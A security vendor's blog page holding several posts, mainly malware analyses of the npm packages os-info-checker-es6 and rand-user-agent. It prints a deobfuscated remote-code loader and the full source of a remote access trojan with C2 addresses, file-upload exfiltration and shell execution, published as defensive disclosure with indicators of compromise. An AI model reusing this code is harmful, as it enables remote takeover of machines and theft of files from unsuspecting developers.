Welcome to our blog.
.png)
You're Invited: Delivering malware via Google Calendar invites and PUAs
On March 19th, 2025, we discovered a package called os-info-checker-es6
and were taken aback. We could tell it was not doing what it said on the tin. But what's the deal? We decided to investigate the matter and initially hit some dead ends. But patience pays off, and we eventually got most of the answers we sought. We also learned about Unicode PUAs (No, not pick-up artists). It was a roller coaster ride of emotions!
What is the package?
The package doesn’t give many clues due to the lack of a README
file. Here’s what the package looks like on npm:

Not very informative. But it sounds like it fetches system information. Lets march on.
Smelly code gives it away
Our analysis pipeline immediately raised many red flags from the package's preinstall.js
file due to the presence of an eval()
call with base64-encoded input.

We see the eval(atob(...))
call. That means “Decode a base64 string and evaluate it,” i.e., execute arbitrary code. That’s never a good sign. But what’s the input?
The input is a string that results from calling decode()
on a native Node module shipped with the package. The input to that function looks like… Just a |
?! What?
We’ve got several big questions here:
- What is the decode function doing?
- What does decoding have to do with checking OS information?
- Why is it
eval()
’ing it? - Why is the only input to it a
|
?
Let's go deeper
We decided to reverse engineer the binary. It’s a small Rust binary that doesn't do much. We initially expected to see some calls to functions to get OS information, but we saw NOTHING. We thought perhaps the binary was hiding more secrets, providing the answer to our first question. More on that later.
But then, what is up with the input to the function being just a |
? Here’s where things get interesting. That’s not the actual input. We copied the code into another editor, and what we see is:

Womp-womp! They almost got away with it. What we see is called Unicode “Private Use Access” characters. These are unassigned codes in the Unicode standard, which is reserved for private use that people can use to define their own symbols for their application. They are inherently unprintable, as they mean nothing inherently.
In this case, the decode
call into the native Node binary decodes those bytes into base64 encoded ASCII characters. Very clever!
Let's take it for a spin
So, we decided to examine the actual code. Luckily, it saves the code it ran into a file run.txt. And it’s just this:
console.log('Check');
That’s super uninteresting. What are they up to? Why are they going to all this effort to hide this code? We were stunned.
But then…
We started seeing published packages that depended on this package, one of them being from the same author. They were:
skip-tot
(March 19th, 2025)- It is a copy of the package
vue-skip-to
.
- It is a copy of the package
vue-dev-serverr
(March 31st, 2025)- It is a copy of the repo https://github.com/guru-git-man/first.
vue-dummyy
(April 3rd, 2025)- It is a copy of the package
vue-dummy
.
- It is a copy of the package
vue-bit
(April 3rd, 2025)- Is pretending to be the package
@teambit/bvm
. - Has no actual code in it.
- Is pretending to be the package
They all have in common that they add os-info-checker-es6
as a dependency but never call the decode
function. What a disappointment. We’re none the wiser about what the attackers were hoping to do. Nothing happened for a while until the os-info-checker-es6
package was updated again after a long pause.
FINALLY
This case had been at the back of my mind for a while. It didn’t make sense. What were they trying to do? Did I miss something obvious when decompiling the native Node module? Why would an attacker burn this novel capability so soon? The answer came on May 7th, 2025, when a new version of os-info-checker-es6
, version 1.0.8
, came out. The preinstall.js
has changed.

Oh look, the obfuscated string is much longer! But the eval
call is commented out. So even if a malicious payload exists in the obfuscated string, it wouldn’t be executed. What? We ran the decoder in a sandbox and printed out the decoded string. Here it is after a bit of prettifying and manual annotations:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Did you see the URL to Google Calendar in the orchestrator? That’s an interesting thing to see in malware. Very exciting.
You’re all invited!
Here’s what the link looks like:

A calendar invite with a base64 encoded string as the title. Beautiful! The pizza profile photo made me hope that maybe it was an invitation to a pizza party, but the event is scheduled for June 7th, 2027. I can’t wait that long for pizza. I’ll take another base64 encoded string though. Here’s what it decodes to:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
At a dead end.. again
This investigation has been full of ups and downs. We thought things were at a dead end, only for signs of life to appear again. We got so close to figuring out the developer's REAL malicious intent, but we didn’t quite make it.
Make no mistake—this was a novel approach to obfuscation. You’d think that anybody who would put in the time and effort to do something like this would use the capabilities they have developed. Instead, they seem to have done nothing with it, showing their hand.
As a result, our analysis engine now detects patterns like this, where an attacker tries to hide data in unprintable control characters. It’s another case where trying to be clever, rather than making it harder to detect, actually creates more signal. Because it’s so unusual that it sticks out and waves a big sign saying “I AM UP TO NO GOOD”. Keep up the great work. 👍
Indicators of compromise
Packages
os-info-checker-es6
skip-tot
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Acknowledgement
During this investigation, we were helped by our great friends at Vector35, who provided us with a trial license for their Binary Ninja tool to ensure we fully understood the native Node module. Big thank you to the team there for their great product. 👏
.png)
Why Updating Container Base Images is So Hard (And How to Make It Easier)
Container security starts with your base image.
But here’s the catch:
- Simply upgrading to the "latest" version of a base image can break your application.
- You’re forced to choose between shipping known vulnerabilities or spending days fixing compatibility issues.
- And often... you’re not even sure if an upgrade is worth it.
In this post, we’ll explore why updating base images is harder than it seems, walk through real examples, and show how you can automate safe, intelligent upgrades without breaking your app.
The Problem: “Just update your base image” — Easier said than done
If you're reading this, you probably have googled something like “How to secure your containers” and the first point in every AI-generated slop article you’ve read is this, update your base image. Simple right? Well not so fast.
Your base image is your central point of security, if your base image has vulnerabilities inside it then your application carries those vulnerabilities with it. Let’s play out this scenario.
You run a scan against your container image and a high-severity CVE is found. The helpful recommendation is to upgrade the base image, fantastic, you will be done before lunch.
⚠️ CVE-2023-37920 found in ubuntu:20.04
Severity: High
Fixed in: 22.04
Recommendation: Upgrade base image
…but you discover a problem.
By blindly upgrading from ubuntu:20.04
to ubuntu:22.04
, your application shatters.
Let's look at some examples of bumping a base image and what happens in reality.
Example 1: A Dockerfile That Breaks After an Upgrade
Initial Dockerfile:
FROM python:3.8-buster
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]
The team upgrades to:
FROM python:3.11-bookworm
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]
Result:
psycopg2==2.8.6
fails to compile against newerlibpq
headers onbookworm.
flask==1.1.2
does not supportPython 3.11
runtime features (deprecated APIs break).- The build breaks in CI.
- Your dev team is mad and your lunch is ruined.
Example 2: Base Image Upgrades That Introduce Subtle Runtime Bugs
Original:
FROM node:14-busterCOPY . /app
RUN npm ci
CMD ["node", "server.js"]
Upgrade to:
FROM node:20-bullseye
COPY . /app
RUN npm ci
CMD ["node", "server.js"]
Runtime Problem:
node:20
uses newerOpenSSL
versions — strict TLS verification breaks older axios configurations.- The app throws
UNABLE_TO_VERIFY_LEAF_SIGNATURE
errors on runtimeHTTP
calls to legacy services.
Why “latest” is a trap
The Docker ecosystem encourages using latest tags or top-line releases. But this often means your application that was running on Monday suddenly fails on Tuesday. This is often a trap that will cause headaches, outages and slower development as you spend time fixing bugs.
So the solution then obviously is to pin to a minor version you have tested…. Not so fast as now you entered the game of security whack-a-mole where you will forever be discovering new CVEs that could leave you vulnerable.
Decision Paralysis: Should you upgrade or not?
Security teams push for upgrades.
Developers push back due to stability.
Who’s right? It depends.
BUT, to even understand the decision, you need to look at all the options, which means to create a massive spreadsheet of all the versions, security risks, stability risks, and availability.
Let’s take a look at what that could be like.
This leaves you with complex, crappy, and impossible choices
- Stay on the old image and accept vulnerabilities
- Upgrade and break your app, risking production downtime
- Attempt manual compatibility testing — days of work
The manual upgrade workflow:
If you’re doing this by hand, here’s what it looks like:
- Check CVEs:
trivy image python:3.8-buster
- Research each CVE: Is it reachable in your application context?
- Decide on upgrade candidate
- Test the new image:
- Build
- Run unit tests
- Run integration tests
- If failure, try to patch code or upgrade libraries.
- Repeat for every container.
It’s exhausting.
The Cost of Staying Still
You might think “if it ain’t broke, don’t fix it.”
But unpatched container CVEs are a massive contributor to security breaches “87% of container images running in production had at least one critical or high-severity vulnerability." source
There are also plenty of known exploits that exist in popular base images.
- Unzip Path Traversal vulnerability (
CVE-2020-27350
) — sat in millions of containers for years. - Heartbleed (
CVE-2014-0160
) stayed in legacy containers long after official fixes. PHP-FPM RCE
(CVE-2019-11043
) allow remote attackers to execute arbitrary code via crafted HTTP requests and was Extremely common in container base images withpre-installed PHP-FPM
prior to being patched
How Our Auto-Fix Feature Helps
To solve in this exact scenario, Aikido Security rolled out our container auto-fix feature because, well, we live in this pain too.
The feature works like this, your images, Aikido scans your containers for vulnerabilities. If (or more likely when) we find vulnerabilities, like always we alert you, then Instead of yelling at you to update your base image we provide you with different options. We create a table that lets you know what version of the base image will solve what CVEs, this way you can very quickly see that a minor bump may remove all or a majority of high CVEs meaning this is an adequate upgrade of the base image.
If the upgrade is a minor bump you can automatically create a pull request to bump up the version.
That it hours of work saved
Conclusion:
- Upgrading container base images is genuinely hard.
- The “just upgrade” advice oversimplifies a complex, risk-laden process.
- Your teams are right to be cautious — but they shouldn’t have to choose between security and stability.
- Aikido’s container autofix does the hard work for you so you can make an informed decision.
- So the next time you see a base image vulnerability alert, you won’t panic. You’ll get a PR.
.png)
RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)
On 5 May, 16:00 GMT+0, our automated malware analysis pipeline detected a suspicious package released, rand-user-agent@1.0.110
. It detected unusual code in the package, and it wasn’t wrong. It detected signs of a supply chain attack against this legitimate package, which has about ~45.000 weekly downloads.
What is the package?
The package `rand-user-agent` generates randomized real user-agent strings based on their frequency of occurrence. It’s maintained by the company WebScrapingAPI (https://www.webscrapingapi.com/).
What did we detect?
Our analysis engine detected suspicious code in the file dist/index.js. Lets check it out, here seen through the code view on npm’s site:
.png)
Do you notice something funny? See that scroll bar at the bottom? Damn, they did it again. They tried to hide the code. Here’s what it is trying to hide, prettified:
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
Yep, that looks bad. This is obviously not meant to be there.
How did the code get there?
If we look at the GitHub repository for the project, we see that the last commit was 7 months ago when version 2.0.82 was released.

If we look at the npm version history, we see something odd. There has been multiple releases since then:
.png)
So the last release, according to GitHub should be 2.0.82
. And if we inspect the packages since then, they all have this malicious code in them. A clear case of a supply chain attack.
The malicious payload
The payload is quite obfuscated, using multiple layers of obfuscation to hide. But here’s the final payload that you will eventually find:
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
We’ve got a RAT (Remote Access Trojan) on our hands. Here’s an overview of it:
Behavior Overview
The script sets up a covert communication channel with a command-and-control (C2) server using socket.io-client
, while exfiltrating files via axios
to a second HTTP endpoint. It dynamically installs these modules if missing, hiding them in a custom .node_modules
folder under the user's home directory.
C2 Infrastructure
- Socket Communication:
http://85.239.62[.]36:3306
- File Upload Endpoint:
http://85.239.62[.]36:27017/u/f
Once connected, the client sends its unique ID (hostname + username), OS type, and process ID to the server.
Capabilities
Here’s a list of capabilities(Commands) that the RAT supports.
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
Backdoor: Python3127 PATH Hijack
One of the more subtle features of this RAT is its use of a Windows-specific PATH hijack, aimed at quietly executing malicious binaries under the guise of Python tooling.
The script constructs and prepends the following path to the PATH
environment variable before executing shell commands:
%LOCALAPPDATA%\Programs\Python\Python3127
By injecting this directory at the start of PATH
, any command relying on environment-resolved executables (e.g., python
, pip,
etc.) may be silently hijacked. This is particularly effective on systems where Python is already expected to be available.
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH
Indicators of Compromise
At this time, the only indicators we have are the malicious versions, which are:
- 2.0.84
- 1.0.110
- 2.0.83
| Usage | Endpoint | Protocol/Method |
| ------------------ | ------------------------------- | -------------------------- |
| Socket Connection | http://85.239.62[.]36:3306 | socket.io-client |
| File Upload Target | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |
If you have installed any of these packages, you can check if it has communicated with the C2
.png)
The malware dating guide: Understanding the types of malware on NPM
The Node ecosystem is built on a foundation of trust — trust that the packages you npm install
are doing what they say they do. But that trust is often misplaced.
Over the past year, we’ve seen a disturbing trend: a rising number of malicious packages published to npm, often hiding in plain sight. Some are crude proof-of-concepts (PoCs) by researchers, others are carefully crafted backdoors. Some pretend to be legitimate libraries, others exfiltrate data right under your nose using obfuscation or clever formatting tricks.
This write-up breaks down several real-world malicious packages we’ve analyzed. Each represents a distinct archetype of attack technique we see in the wild. Whether you're a developer, red teamer, or security engineer, these patterns should be on your radar.
The PoC
